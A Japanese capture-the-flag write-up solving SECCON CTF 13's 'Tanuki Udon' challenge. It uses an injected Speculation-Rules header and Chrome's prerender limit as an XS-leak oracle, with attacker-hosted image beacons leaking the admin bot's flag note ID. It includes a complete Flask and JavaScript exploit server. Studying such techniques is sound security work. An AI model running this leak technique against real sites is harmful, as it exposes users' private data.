Tanuki Udon (SECCON CTF 13 Quals) WriteUp

# はじめに
この記事は [1日1CTF Advent Calendar 2024](https://qiita.com/advent-calendar/2024/1-day-1-ctf) の 2 日目の記事です。
# 問題
Tanuki Udon (問題出典: SECCON CTF 13 Quals)
> Inspired by Udon (TSG CTF 2021)
> 
> - Challenge: http://\<REDACTED\>:3000
> - Admin bot: http://\<REDACTED\>:1337

<!-- (TODO: リポジトリが公開されたらリンクを貼る) -->
[作問者 WriteUp](https://satoooon1024.hatenablog.com/entry/2024/12/02/Speculation-Rules%E3%82%92%E5%88%A9%E7%94%A8%E3%81%97%E3%81%9FXS-Leaks_/_SECCON_CTF_13_Author%27s_Writeup_%28_Tanuki_Udon_%29) も見ると理解が深まるかも。

なお、この問題は [非想定解(XSS)で本番中に解いている](https://hiikunz.hatenablog.com/entry/SECCON-13-Quals#Tanuki-Udon-web-41-solves-149-pts) が、今回はフラグに書いてあった `Speculation-Rules` を利用した解法で解くことにする。

## 問題概要
シンプルなメモアプリ。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/0436fdaf-9b60-d9aa-0b95-6153231d407a.png)

画像/リンク/強調/改行 の MarkDown に対応している。
```markdown.js
const escapeHtml = (content) => {
  return content
    .replaceAll('&', '&amp;')
    .replaceAll(`"`, '&quot;')
    .replaceAll(`'`, '&#39;')
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;');
}

const markdown = (content) => {
  const escaped = escapeHtml(content);
  return escaped
    .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
    .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
    .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
    .replace(/  $/mg, `<br>`);
}

module.exports = markdown;
```

大きな特徴として、アクセス時のパラメータで、 `content` を**含まない**任意の Header を 1 つ付け加えることができる。[^1]
[^1]: 実は本番中は非想定解の方に目が行って、これに気づいてなかった…

```index.js
...
app.use((req, res, next) => {
  if (typeof req.query.k === 'string' && typeof req.query.v === 'string') {
    // Forbidden :)
    if (req.query.k.toLowerCase().includes('content')) return next();

    res.header(req.query.k, req.query.v);
  }
  next();
});
...
```

Bot はフラグを書いたメモを保存して、その後指定した URL にアクセスする。タイムアウトが 90 秒と、かなり長い。

```bot.js
...
    // Create a flag note
    const page1 = await context.newPage();
    await page1.goto(APP_URL, { waitUntil: "networkidle0" });
    await page1.waitForSelector("#titleInput");
    await page1.type("#titleInput", "Flag");
    await page1.waitForSelector("#contentInput");
    await page1.type("#contentInput", FLAG);
    await page1.waitForSelector("#createNote");
    await page1.click("#createNote");
    await sleep(1 * 1000);
    await page1.close();

    // Visit the given URL
    const page2 = await context.newPage();
    await page2.goto(url, { timeout: 3000 });
    await sleep(90 * 1000);
    await page2.close();
...
```

とりあえずの目標は Bot が保存したメモの URL を特定すること。

## Speculation-Rules とは
とりあえずフラグに書いてあっただけで何もわからないので調べてみる。
以下の記事を参考にした。

[Speculation-Rules HTTP Header について](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Speculation-Rules)

[Speculation-Rules API について](https://developer.mozilla.org/ja/docs/Web/API/Speculation_Rules_API)

[詳しめの使い方など](https://developer.chrome.com/docs/web-platform/prerender-pages)

ここでは Prerender の機能に絞って考察する。
いい感じに json ファイルを自分でホストして、その URL を `Speculation-Rules` Header にのせることで、

1. 自身が指定したリンク (same origin に限る)
2. HTML 中のリンク

をバックグラウンドで読み込ませることができて、ページ遷移があった場合に通信を待たなくてよくなる。

1\. の使い方だとこんな感じに書くことで、`/notes/956d291f5d1b7ceb81f0f29c8b9eaec1` を読み込ませられる。
```json
{
    "prerender": [
        {
            "urls": [
                "/notes/956d291f5d1b7ceb81f0f29c8b9eaec1"
            ],
            "eagerness": "immediate",
            "relative_to": "document",
        },
    ],
}
```

2\. の使い方ではこんな感じで、いい感じに前方一致検索ができそう。
```json
{
    "prerender": [
        {
            "where": {
                "and": [
                    {
                        "href_matches": "/note/*",
                        "relative_to": "document",
                    }
                ],
            },
            "eagerness": "immediate",
        },
    ],
}
```

どちらも `relative_to` を `document` にしないとうまく動かない (JSON をホストしたところからの相対パス扱いになってしまう) ので注意。
また、`eagerness` を `immediate` にすることでユーザーが何もしなくても勝手に読み込ませることができる。

## オラクルの構築

さて、[この記事](https://developer.chrome.com/docs/web-platform/prerender-pages) によると、`eagerness` が `immediate` のやつを 10 個以上 Prerender することはできないらしい。これがオラクルに使えそうだ。
> ### Chrome limits
> Chrome has limits in place to prevent overuse of the Speculation Rules API:
>
> |eagerness|Prefetch|Prerender|
> |-|-|-|
> |immediate / eager|50|10|
> |moderate / conservative|2 (FIFO)|2 (FIFO)|

例えば、`/note/0*` を 2. の方法で読み込ませたあと、1. の方法でリンク 1 ~ リンク 10 までの 10 個のリンクを読み込ませた場合を考えると、`/note/0` から始まるリンクが HTML 内にあって読み込まれた場合、リンク 10 は読み込まれなくなる。(もちろん `/note/0` から始まるリンクがなければ リンク 10 も正常に読み込まれる。) 図を見たほうがわかりやすいかも。

該当するメモがある場合
![img.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/49cedb0f-ae41-cc7a-eaf8-914bac3a758c.png)

該当するメモがない場合
![img.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/4d4af2d3-3ff6-e2e0-c491-ae4f9f20d442.png)



さて、この情報をどうやって自分のサーバーに送ればいいだろうか。`Prerender` できるのは same origin の場合に限られるので、自分のサーバーのページを読み込ませることは不可能だ。ここで思い出すのが、このアプリでは Markdown 形式で画像を挿入できたことだ。自分のサーバーがホストする画像を含むメモを `Prerender` させることで、自分のサーバーにアクセスさせることができ、XS-leaks が可能となる。

細かい話だが、`/note/0*` を先に `Prerender` させるため、json ファイルを 2 つ用意して (`Speculation-Rules` Header は複数のファイルを指定可能)、`/note/0*` を調べるファイルはすぐレスポンスして、もう一方を遅延させる必要があった。

以上の方法で admin が投稿したメモの url を 1 文字ずつリークできる。

## 実装

実装はつらいが、頑張るしかない。

```py
from flask import Flask, jsonify
import flask
import time
import httpx

TARGET = "http://localhost:3000"
ATTACKER = "http://172.23.154.236:8000"

# TARGET = "http://tanuki-udon.seccon.games:3000"
# ATTACKER = "https://attacker.example.com:8000"

app = Flask(__name__)

noteid = ""
chars = "0123456789abcdef"
check = [False] * 16
dummys = []
leaks = []


# CORS
@app.after_request
def after_request(response):
    response.headers.add("Access-Control-Allow-Origin", "*")
    return response


@app.route("/<c>_rule1.json")
def rule1(c):
    x = {
        "prerender": [
            {
                "where": {
                    "and": [
                        {
                            "href_matches": "/note/" + noteid + c + "*",
                            "relative_to": "document",
                        }
                    ],
                },
                "eagerness": "immediate",
            },
        ],
    }
    res = jsonify(x)
    res.headers["Content-Type"] = "application/speculationrules+json"
    return res


@app.route("/<c>_rule2.json")
def rule2(c):
    time.sleep(0.1)  # rule1 が先に読み込まれるように少し待つ
    x = {
        "prerender": [
            {
                "urls": [
                    dummys[0],
                    dummys[1],
                    dummys[2],
                    dummys[3],
                    dummys[4],
                    dummys[5],
                    dummys[6],
                    dummys[7],
                    dummys[8],
                    leaks[chars.index(c)],
                ],
                "eagerness": "immediate",
                "relative_to": "document",
            },
        ],
    }
    res = jsonify(x)
    res.headers["Content-Type"] = "application/speculationrules+json"
    return res


@app.route("/leak_<c>")
def leak(c):
    global check
    check[chars.index(c)] = True
    print(check)
    if check.count(True) == 15:
        global noteid
        noteid += chars[check.index(False)]
        print(f"noteid: {noteid}")
        check = [False] * 16
    return c


@app.route("/")
def idx():
    res = """
    <script>
        const sleep = (milliseconds) => {
            return new Promise(resolve => setTimeout(resolve, milliseconds))
        }
        async function leak() {
            for (let idx = 0; idx < 16; idx++) {
                let ws = [];
                for (let i = 0; i < 16; i++) {
                    let c = "0123456789abcdef"[i];
                    let url = `http://web:3000/?k=Speculation-Rules&v=%22<ATTACKER>/${c}_rule1.json%22,%22<ATTACKER>/${c}_rule2.json%22`;
                    let w = window.open(url, "_blank", "location=yes");
                    ws.push(w);
                }
                await sleep(3700);
                await ws.forEach(w => w.close());
            }
        }
        leak();
    </script>
    """
    return res.replace("<ATTACKER>", ATTACKER)


if __name__ == "__main__":
    with httpx.Client() as client:
        res = client.get(TARGET)
        for i in range(9):
            res = client.post(
                f"{TARGET}/note", data={"title": f"DUMMY_{i}", "content": f"DUMMY_{i}"}
            )
        for i in range(16):
            res = client.post(
                f"{TARGET}/note",
                data={
                    "title": f"LEAK_{chars[i]}",
                    "content": f"![]({ATTACKER}/leak_{chars[i]})",
                },
            )

        res = client.get(TARGET)
        for i in range(9):
            url = res.text.split('<li><a href="')[i + 1].split('"')[0]
            dummys.append(url)
        for i in range(16):
            url = res.text.split('<li><a href="')[i + 10].split('"')[0]
            leaks.append(url)

    app.run(host="0.0.0.0", port=8000, debug=False)
```

あとはサーバーを立てて、admin にアクセスしてもらえばよい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/f62bdb14-9ff0-f3f5-00f0-89e46c01b88e.png)

ということで、url が leak できました。leak した url にアクセスするとフラグが得られました。やったね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/a2efbe7c-fe9b-34c5-665f-74ef5ec9552b.png)

Flag: `SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}`